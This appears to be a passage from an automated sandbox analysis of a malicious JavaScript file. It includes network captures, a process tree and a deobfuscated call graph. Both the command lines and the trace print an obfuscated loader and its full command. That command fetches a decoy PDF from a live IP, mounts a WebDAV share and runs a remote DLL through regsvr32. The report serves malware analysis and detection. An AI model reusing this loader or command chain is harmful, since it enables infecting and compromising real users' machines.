Jan 11, 2025 04:59:09.462871075 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 04:59:09.462908983 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 04:59:09.467778921 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6548	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:59:10.790783882 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:59:11.609190941 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:59:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:59:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js"
Imagebase:	0x7ff703f90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:59:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Imagebase:	0x7ff61bfe0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:59:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:59:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:59:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:59:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61bfe0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:59:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff614490000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:59:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:59:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:59:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,5103276727836364045,17374758029892036500,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pamrppug() {	pamrppug() ➔ undefined
1	cfwmtyv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nmyzpnysv = this[cqfkdizb + xnaehh + kunxzdt + qhwtmemut + cyokvcvo + vgvfyhk + ovmnt + mhuhtn] ( this[vzsqghaws + asbfyy + zykkhzfhh + kunxzdt + uqpsgv + cqfkdizb + mhuhtn][lycipib + kunxzdt + cyokvcvo + xnaehh + mhuhtn + cyokvcvo + jnkmvwgyw + oaffl + oesdv + cyokvcvo + zykkhzfhh + mhuhtn] ( vzsqghaws + asbfyy + zykkhzfhh + kunxzdt + uqpsgv + cqfkdizb + mhuhtn + jkuwa + asbfyy + diyrbe + cyokvcvo + prfngreba + prfngreba ) [qqywuuna + cyokvcvo + lphyj + qqywuuna + cyokvcvo + xnaehh + zcxvd] ( kyghxh + wlaev + btnhhwb + vpaontdib + yllos + lycipib + tdcrmu + qqywuuna + qqywuuna + btnhhwb + zejzrfpm + kfxybr + yllos + tdcrmu + asbfyy + btnhhwb + qqywuuna + ltinz + lycipib + rlpguf + ovmnt + mhuhtn + kunxzdt + rlpguf + prfngreba + hqrppml + dlerdg + xnaehh + ovmnt + cyokvcvo + prfngreba + ltinz + vgvfyhk + ovmnt + mhuhtn + cyokvcvo + kunxzdt + ovmnt + xnaehh + mhuhtn + uqpsgv + rlpguf + ovmnt + xnaehh + prfngreba + ltinz + znnsxwlv + rlpguf + zykkhzfhh + xnaehh + prfngreba + cyokvcvo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jjdtmb = 0 ; jjdtmb < cfwmtyv[prfngreba + cyokvcvo + ovmnt + lphyj + mhuhtn + diyrbe] ; ++ jjdtmb )
4	{
5	if ( nmyzpnysv == cfwmtyv[jjdtmb] )
6	{
7	nmyzpnysv = true;
8	break ;
9	}
10	}
11	if ( nmyzpnysv !== true )
12	this[vzsqghaws + asbfyy + zykkhzfhh + kunxzdt + uqpsgv + cqfkdizb + mhuhtn][hjnemjr + itujlw + uqpsgv + mhuhtn] ( );
13	this[vzsqghaws + asbfyy + zykkhzfhh + kunxzdt + uqpsgv + cqfkdizb + mhuhtn][lycipib + kunxzdt + cyokvcvo + xnaehh + mhuhtn + cyokvcvo + jnkmvwgyw + oaffl + oesdv + cyokvcvo + zykkhzfhh + mhuhtn] ( vzsqghaws + asbfyy + zykkhzfhh + kunxzdt + uqpsgv + cqfkdizb + mhuhtn + jkuwa + asbfyy + diyrbe + cyokvcvo + prfngreba + prfngreba ) [kunxzdt + itujlw + ovmnt] ( zykkhzfhh + zfxjvqzhr + zcxvd + hqrppml + driuts + zykkhzfhh + hqrppml + cqfkdizb + rlpguf + nhsrg + cyokvcvo + kunxzdt + qhwtmemut + diyrbe + cyokvcvo + prfngreba + prfngreba + jkuwa + cyokvcvo + fuspsw + cyokvcvo + hqrppml + egqaww + lycipib + rlpguf + zfxjvqzhr + zfxjvqzhr + xnaehh + ovmnt + zcxvd + hqrppml + ykaggvq + vgvfyhk + ovmnt + uulyay + rlpguf + logwwx + cyokvcvo + egqaww + vzsqghaws + cyokvcvo + oaffl + qqywuuna + cyokvcvo + yoxalkl + itujlw + cyokvcvo + qhwtmemut + mhuhtn + hqrppml + egqaww + jnkmvwgyw + itujlw + mhuhtn + fawuna + uqpsgv + prfngreba + cyokvcvo + hqrppml + iwzdb + mhuhtn + cyokvcvo + zfxjvqzhr + cqfkdizb + iwzdb + ltinz + uqpsgv + ovmnt + uulyay + rlpguf + uqpsgv + zykkhzfhh + cyokvcvo + jkuwa + cqfkdizb + zcxvd + bkwsk + hqrppml + diyrbe + mhuhtn + mhuhtn + cqfkdizb + vklip + driuts + driuts + qnrdnyult + eksys + kumfsl + jkuwa + qnrdnyult + vugkatnsl + kumfsl + jkuwa + qnrdnyult + jkuwa + fvbkmb + lchnqlor + amaxae + driuts + uqpsgv + ovmnt + uulyay + rlpguf + uqpsgv + zykkhzfhh + cyokvcvo + jkuwa + cqfkdizb + diyrbe + cqfkdizb + ykaggvq + nbkgtcmsu + nbkgtcmsu + qhwtmemut + mhuhtn + xnaehh + kunxzdt + mhuhtn + hqrppml + iwzdb + mhuhtn + cyokvcvo + zfxjvqzhr + cqfkdizb + iwzdb + ltinz + uqpsgv + ovmnt + uulyay + rlpguf + uqpsgv + zykkhzfhh + cyokvcvo + jkuwa + cqfkdizb + zcxvd + bkwsk + nbkgtcmsu + nbkgtcmsu + zykkhzfhh + zfxjvqzhr + zcxvd + hqrppml + driuts + zykkhzfhh + hqrppml + ovmnt + cyokvcvo + mhuhtn + hqrppml + itujlw + qhwtmemut + cyokvcvo + hqrppml + ltinz + ltinz + qnrdnyult + eksys + kumfsl + jkuwa + qnrdnyult + vugkatnsl + kumfsl + jkuwa + qnrdnyult + jkuwa + fvbkmb + lchnqlor + amaxae + ualcezgw + ltadblt + ltadblt + ltadblt + ltadblt + ltinz + zcxvd + xnaehh + uulyay + nhsrg + nhsrg + nhsrg + kunxzdt + rlpguf + rlpguf + mhuhtn + ltinz + nbkgtcmsu + nbkgtcmsu + zykkhzfhh + zfxjvqzhr + zcxvd + hqrppml + driuts + zykkhzfhh + hqrppml + kunxzdt + cyokvcvo + lphyj + qhwtmemut + uulyay + kunxzdt + kumfsl + fvbkmb + hqrppml + driuts + qhwtmemut + hqrppml + ltinz + ltinz + qnrdnyult + eksys + kumfsl + jkuwa + qnrdnyult + vugkatnsl + kumfsl + jkuwa + qnrdnyult + jkuwa + fvbkmb + lchnqlor + amaxae + ualcezgw + ltadblt + ltadblt + ltadblt + ltadblt + ltinz + zcxvd + xnaehh + uulyay + nhsrg + nhsrg + nhsrg + kunxzdt + rlpguf + rlpguf + mhuhtn + ltinz + qnrdnyult + nsuuir + qnrdnyult + yajunue + ltadblt + qnrdnyult + nsuuir + vugkatnsl + qnrdnyult + lchnqlor + qnrdnyult + kumfsl + vugkatnsl + lchnqlor + kumfsl + jkuwa + zcxvd + prfngreba + prfngreba, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll",0,false) ➔ 0
14	}
15	kunxzdt = "U";
16	kunxzdt = "F";
17	kunxzdt = "K";
18	kunxzdt = "R";
19	kunxzdt = "Z";
20	kunxzdt = "c";
21	kunxzdt = "S";
22	kunxzdt = "F";
23	kunxzdt = "X";
24	kunxzdt = "M";
25	kunxzdt = "n";
26	kunxzdt = "I";
27	kunxzdt = "m";
28	kunxzdt = "A";
29	kunxzdt = "n";
30	kunxzdt = "B";
31	kunxzdt = "F";
32	kunxzdt = "C";
33	kunxzdt = "i";
34	kunxzdt = "x";
35	kunxzdt = "W";
36	kunxzdt = "u";
37	kunxzdt = "B";
38	kunxzdt = "o";
39	kunxzdt = "N";
40	kunxzdt = "K";
41	kunxzdt = "r";
42	vugkatnsl = "c";
43	vugkatnsl = "D";
44	vugkatnsl = "T";
45	vugkatnsl = "y";
46	vugkatnsl = "T";
47	vugkatnsl = "v";
48	vugkatnsl = "x";
49	vugkatnsl = "e";
50	vugkatnsl = "k";
51	vugkatnsl = "S";
52	vugkatnsl = "o";
53	vugkatnsl = "a";
54	vugkatnsl = "b";
55	vugkatnsl = "y";
56	vugkatnsl = "D";
57	vugkatnsl = "j";
58	vugkatnsl = "F";
59	vugkatnsl = "X";
60	vugkatnsl = "n";
61	vugkatnsl = "Z";
62	vugkatnsl = "w";
63	vugkatnsl = "N";
64	vugkatnsl = "y";
65	vugkatnsl = "T";
66	vugkatnsl = "f";
67	vugkatnsl = "N";
68	vugkatnsl = "y";
69	vugkatnsl = "4";
70	vgvfyhk = "e";
71	vgvfyhk = "O";
72	vgvfyhk = "N";
73	vgvfyhk = "k";
74	vgvfyhk = "X";
75	vgvfyhk = "U";
76	vgvfyhk = "l";
77	vgvfyhk = "z";
78	vgvfyhk = "t";
79	vgvfyhk = "f";
80	vgvfyhk = "J";
81	vgvfyhk = "O";
82	vgvfyhk = "G";
83	vgvfyhk = "s";
84	vgvfyhk = "G";
85	vgvfyhk = "T";
86	vgvfyhk = "m";
87	vgvfyhk = "H";
88	vgvfyhk = "Z";
89	vgvfyhk = "O";
90	vgvfyhk = "s";
91	vgvfyhk = "G";
92	vgvfyhk = "P";
93	vgvfyhk = "W";
94	vgvfyhk = "X";
95	vgvfyhk = "P";
96	vgvfyhk = "L";
97	vgvfyhk = "I";
98	eksys = "a";
99	eksys = "g";
100	eksys = "9";
101	fuspsw = "u";
102	fuspsw = "f";
103	fuspsw = "v";
104	fuspsw = "p";
105	fuspsw = "F";
106	fuspsw = "g";
107	fuspsw = "t";
108	fuspsw = "i";
109	fuspsw = "o";
110	fuspsw = "Q";
111	fuspsw = "h";
112	fuspsw = "b";
113	fuspsw = "O";
114	fuspsw = "M";
115	fuspsw = "e";
116	fuspsw = "H";
117	fuspsw = "v";
118	fuspsw = "y";
119	fuspsw = "x";
120	fuspsw = "U";
121	fuspsw = "p";
122	fuspsw = "i";
123	fuspsw = "T";
124	fuspsw = "V";
125	fuspsw = "u";
126	fuspsw = "t";
127	fuspsw = "m";
128	fuspsw = "F";
129	fuspsw = "U";
130	fuspsw = "R";
131	fuspsw = "F";
132	fuspsw = "k";
133	fuspsw = "t";
134	fuspsw = "e";
135	fuspsw = "h";
136	fuspsw = "z";
137	fuspsw = "r";
138	fuspsw = "m";
139	fuspsw = "j";
140	fuspsw = "m";
141	fuspsw = "x";
142	rlpguf = "A";
143	rlpguf = "H";
144	rlpguf = "k";
145	rlpguf = "c";
146	rlpguf = "k";
147	rlpguf = "n";
148	rlpguf = "D";
149	rlpguf = "T";
150	rlpguf = "z";
151	rlpguf = "G";
152	rlpguf = "l";
153	rlpguf = "a";
154	rlpguf = "H";
155	rlpguf = "j";
156	rlpguf = "y";
157	rlpguf = "g";
158	rlpguf = "k";
159	rlpguf = "l";
160	rlpguf = "o";
161	bkwsk = "u";
162	bkwsk = "g";
163	bkwsk = "Z";
164	bkwsk = "Z";
165	bkwsk = "k";
166	bkwsk = "r";
167	bkwsk = "f";
168	dlerdg = "T";
169	dlerdg = "U";
170	dlerdg = "c";
171	dlerdg = "z";
172	dlerdg = "Z";
173	dlerdg = "O";
174	dlerdg = "m";
175	dlerdg = "S";
176	dlerdg = "d";
177	dlerdg = "L";
178	dlerdg = "k";
179	dlerdg = "V";
180	dlerdg = "S";
181	dlerdg = "w";
182	dlerdg = "z";
183	dlerdg = "Y";
184	dlerdg = "x";
185	dlerdg = "I";
186	dlerdg = "w";
187	dlerdg = "R";
188	dlerdg = "k";
189	dlerdg = "P";
190	nbkgtcmsu = "G";
191	nbkgtcmsu = "p";
192	nbkgtcmsu = "i";
193	nbkgtcmsu = "x";
194	nbkgtcmsu = "i";
195	nbkgtcmsu = "m";
196	nbkgtcmsu = "Q";
197	nbkgtcmsu = "H";
198	nbkgtcmsu = "V";
199	nbkgtcmsu = "i";
200	nbkgtcmsu = "O";
201	nbkgtcmsu = "b";
202	nbkgtcmsu = "I";
203	nbkgtcmsu = "g";
204	nbkgtcmsu = "S";
205	nbkgtcmsu = "X";
206	nbkgtcmsu = "x";
207	nbkgtcmsu = "I";
208	nbkgtcmsu = "u";
209	nbkgtcmsu = "K";
210	nbkgtcmsu = "w";
211	nbkgtcmsu = "m";
212	nbkgtcmsu = "n";
213	nbkgtcmsu = "r";
214	nbkgtcmsu = "U";
215	nbkgtcmsu = "c";
216	nbkgtcmsu = "G";
217	nbkgtcmsu = "F";
218	nbkgtcmsu = "z";
219	nbkgtcmsu = "l";
220	nbkgtcmsu = "E";
221	nbkgtcmsu = "C";
222	nbkgtcmsu = "&";
223	yajunue = "O";
224	yajunue = "p";
225	yajunue = "b";
226	yajunue = "i";
227	yajunue = "6";
228	vpaontdib = "W";
229	vpaontdib = "I";
230	vpaontdib = "X";
231	vpaontdib = "S";
232	vpaontdib = "J";
233	vpaontdib = "R";
234	vpaontdib = "U";
235	vpaontdib = "Y";
236	vpaontdib = "k";
237	vpaontdib = "o";
238	vpaontdib = "n";
239	vpaontdib = "Q";
240	vpaontdib = "d";
241	vpaontdib = "c";
242	vpaontdib = "X";
243	vpaontdib = "D";
244	vpaontdib = "a";
245	vpaontdib = "L";
246	vpaontdib = "U";
247	vpaontdib = "I";
248	vpaontdib = "q";
249	vpaontdib = "a";
250	vpaontdib = "Z";
251	vpaontdib = "C";
252	vpaontdib = "z";
253	vpaontdib = "h";
254	vpaontdib = "S";
255	vpaontdib = "M";
256	vpaontdib = "m";
257	vpaontdib = "d";
258	vpaontdib = "L";
259	vpaontdib = "Q";
260	vpaontdib = "y";
261	vpaontdib = "W";
262	vpaontdib = "B";
263	vpaontdib = "g";
264	vpaontdib = "y";
265	vpaontdib = "a";
266	vpaontdib = "H";
267	vpaontdib = "v";
268	vpaontdib = "Y";
269	ovmnt = "v";
270	ovmnt = "n";
271	ovmnt = "P";
272	ovmnt = "b";
273	ovmnt = "K";
274	ovmnt = "l";
275	ovmnt = "X";
276	ovmnt = "r";
277	ovmnt = "e";
278	ovmnt = "t";
279	ovmnt = "K";
280	ovmnt = "E";
281	ovmnt = "d";
282	ovmnt = "u";
283	ovmnt = "p";
284	ovmnt = "n";
285	ltadblt = "W";
286	ltadblt = "g";
287	ltadblt = "o";
288	ltadblt = "H";
289	ltadblt = "d";
290	ltadblt = "i";
291	ltadblt = "U";
292	ltadblt = "Y";
293	ltadblt = "I";
294	ltadblt = "s";
295	ltadblt = "s";
296	ltadblt = "d";
297	ltadblt = "c";
298	ltadblt = "e";
299	ltadblt = "E";
300	ltadblt = "m";
301	ltadblt = "q";
302	ltadblt = "g";
303	ltadblt = "Y";
304	ltadblt = "x";
305	ltadblt = "P";
306	ltadblt = "m";
307	ltadblt = "w";
308	ltadblt = "L";
309	ltadblt = "J";
310	ltadblt = "S";
311	ltadblt = "I";
312	ltadblt = "8";
313	jkuwa = "O";
314	jkuwa = "n";
315	jkuwa = "T";
316	jkuwa = "E";
317	jkuwa = "W";
318	jkuwa = "l";
319	jkuwa = "T";
320	jkuwa = "n";
321	jkuwa = ".";
322	mhuhtn = "R";
323	mhuhtn = "t";
324	mhuhtn = "W";
325	mhuhtn = "y";
326	mhuhtn = "m";
327	mhuhtn = "J";
328	mhuhtn = "S";
329	mhuhtn = "W";
330	mhuhtn = "p";
331	mhuhtn = "B";
332	mhuhtn = "A";
333	mhuhtn = "z";
334	mhuhtn = "t";
335	mhuhtn = "K";
336	mhuhtn = "h";
337	mhuhtn = "A";
338	mhuhtn = "O";
339	mhuhtn = "e";
340	mhuhtn = "D";
341	mhuhtn = "i";
342	mhuhtn = "j";
343	mhuhtn = "n";
344	mhuhtn = "i";
345	mhuhtn = "t";
346	vzsqghaws = "U";
347	vzsqghaws = "g";
348	vzsqghaws = "x";
349	vzsqghaws = "i";
350	vzsqghaws = "f";
351	vzsqghaws = "P";
352	vzsqghaws = "G";
353	vzsqghaws = "b";
354	vzsqghaws = "f";
355	vzsqghaws = "G";
356	vzsqghaws = "l";
357	vzsqghaws = "M";
358	vzsqghaws = "k";
359	vzsqghaws = "x";
360	vzsqghaws = "S";
361	vzsqghaws = "R";
362	vzsqghaws = "u";
363	vzsqghaws = "n";
364	vzsqghaws = "W";
365	tdcrmu = "J";
366	tdcrmu = "Y";
367	tdcrmu = "Y";
368	tdcrmu = "D";
369	tdcrmu = "H";
370	tdcrmu = "Q";
371	tdcrmu = "M";
372	tdcrmu = "b";
373	tdcrmu = "l";
374	tdcrmu = "Y";
375	tdcrmu = "w";
376	tdcrmu = "W";
377	tdcrmu = "j";
378	tdcrmu = "q";
379	tdcrmu = "V";
380	tdcrmu = "P";
381	tdcrmu = "w";
382	tdcrmu = "w";
383	tdcrmu = "U";
384	tdcrmu = "U";
385	lchnqlor = "D";
386	lchnqlor = "r";
387	lchnqlor = "t";
388	lchnqlor = "A";
389	lchnqlor = "g";
390	lchnqlor = "T";
391	lchnqlor = "m";
392	lchnqlor = "s";
393	lchnqlor = "I";
394	lchnqlor = "m";
395	lchnqlor = "v";
396	lchnqlor = "w";
397	lchnqlor = "Q";
398	lchnqlor = "x";
399	lchnqlor = "r";
400	lchnqlor = "j";
401	lchnqlor = "o";
402	lchnqlor = "M";
403	lchnqlor = "c";
404	lchnqlor = "M";
405	lchnqlor = "C";
406	lchnqlor = "f";
407	lchnqlor = "I";
408	lchnqlor = "0";
409	zcxvd = "G";
410	zcxvd = "i";
411	zcxvd = "x";
412	zcxvd = "o";
413	zcxvd = "w";
414	zcxvd = "v";
415	zcxvd = "a";
416	zcxvd = "r";
417	zcxvd = "w";
418	zcxvd = "p";
419	zcxvd = "z";
420	zcxvd = "n";
421	zcxvd = "N";
422	zcxvd = "z";
423	zcxvd = "H";
424	zcxvd = "M";
425	zcxvd = "v";
426	zcxvd = "h";
427	zcxvd = "M";
428	zcxvd = "R";
429	zcxvd = "V";
430	zcxvd = "x";
431	zcxvd = "h";
432	zcxvd = "A";
433	zcxvd = "m";
434	zcxvd = "B";
435	zcxvd = "l";
436	zcxvd = "X";
437	zcxvd = "s";
438	zcxvd = "d";
439	zcxvd = "I";
440	zcxvd = "S";
441	zcxvd = "d";
442	kfxybr = "t";
443	kfxybr = "y";
444	kfxybr = "H";
445	kfxybr = "P";
446	kfxybr = "U";
447	kfxybr = "d";
448	kfxybr = "K";
449	kfxybr = "j";
450	kfxybr = "d";
451	kfxybr = "W";
452	kfxybr = "i";
453	kfxybr = "o";
454	kfxybr = "m";
455	kfxybr = "B";
456	kfxybr = "a";
457	kfxybr = "S";
458	kfxybr = "h";
459	kfxybr = "C";
460	kfxybr = "k";
461	kfxybr = "k";
462	kfxybr = "j";
463	kfxybr = "k";
464	kfxybr = "r";
465	kfxybr = "S";
466	kfxybr = "P";
467	kfxybr = "M";
468	kfxybr = "v";
469	kfxybr = "v";
470	kfxybr = "Q";
471	kfxybr = "n";
472	kfxybr = "T";
473	kfxybr = "d";
474	kfxybr = "m";
475	kfxybr = "e";
476	kfxybr = "T";
477	nsuuir = "F";
478	nsuuir = "V";
479	nsuuir = "P";
480	nsuuir = "E";
481	nsuuir = "j";
482	nsuuir = "x";
483	nsuuir = "e";
484	nsuuir = "u";
485	nsuuir = "D";
486	nsuuir = "M";
487	nsuuir = "S";
488	nsuuir = "r";
489	nsuuir = "O";
490	nsuuir = "H";
491	nsuuir = "F";
492	nsuuir = "V";
493	nsuuir = "B";
494	nsuuir = "i";
495	nsuuir = "7";
496	oaffl = "n";
497	oaffl = "w";
498	oaffl = "l";
499	oaffl = "C";
500	oaffl = "e";
501	oaffl = "m";
502	oaffl = "K";
503	oaffl = "U";
504	oaffl = "b";
505	oaffl = "J";
506	oaffl = "z";
507	oaffl = "m";
508	oaffl = "v";
509	oaffl = "z";
510	oaffl = "b";
511	diyrbe = "u";
512	diyrbe = "c";
513	diyrbe = "P";
514	diyrbe = "E";
515	diyrbe = "z";
516	diyrbe = "X";
517	diyrbe = "S";
518	diyrbe = "j";
519	diyrbe = "L";
520	diyrbe = "p";
521	diyrbe = "n";
522	diyrbe = "c";
523	diyrbe = "l";
524	diyrbe = "V";
525	diyrbe = "H";
526	diyrbe = "H";
527	diyrbe = "l";
528	diyrbe = "b";
529	diyrbe = "j";
530	diyrbe = "z";
531	diyrbe = "q";
532	diyrbe = "K";
533	diyrbe = "h";
534	diyrbe = "K";
535	diyrbe = "W";
536	diyrbe = "m";
537	diyrbe = "B";
538	diyrbe = "C";
539	diyrbe = "P";
540	diyrbe = "D";
541	diyrbe = "T";
542	diyrbe = "O";
543	diyrbe = "v";
544	diyrbe = "D";
545	diyrbe = "c";
546	diyrbe = "H";
547	diyrbe = "P";
548	diyrbe = "H";
549	diyrbe = "H";
550	diyrbe = "u";
551	diyrbe = "h";
552	qnrdnyult = "j";
553	qnrdnyult = "s";
554	qnrdnyult = "P";
555	qnrdnyult = "Q";
556	qnrdnyult = "b";
557	qnrdnyult = "H";
558	qnrdnyult = "b";
559	qnrdnyult = "f";
560	qnrdnyult = "r";
561	qnrdnyult = "B";
562	qnrdnyult = "Q";
563	qnrdnyult = "X";
564	qnrdnyult = "Z";
565	qnrdnyult = "1";
566	hqrppml = "z";
567	hqrppml = "j";
568	hqrppml = "V";
569	hqrppml = "O";
570	hqrppml = "b";
571	hqrppml = "l";
572	hqrppml = "c";
573	hqrppml = "i";
574	hqrppml = "v";
575	hqrppml = "E";
576	hqrppml = "X";
577	hqrppml = "Z";
578	hqrppml = "X";
579	hqrppml = "c";
580	hqrppml = " ";
581	egqaww = "u";
582	egqaww = "-";
583	btnhhwb = "B";
584	btnhhwb = "A";
585	btnhhwb = "V";
586	btnhhwb = "s";
587	btnhhwb = "A";
588	btnhhwb = "s";
589	btnhhwb = "A";
590	btnhhwb = "y";
591	btnhhwb = "v";
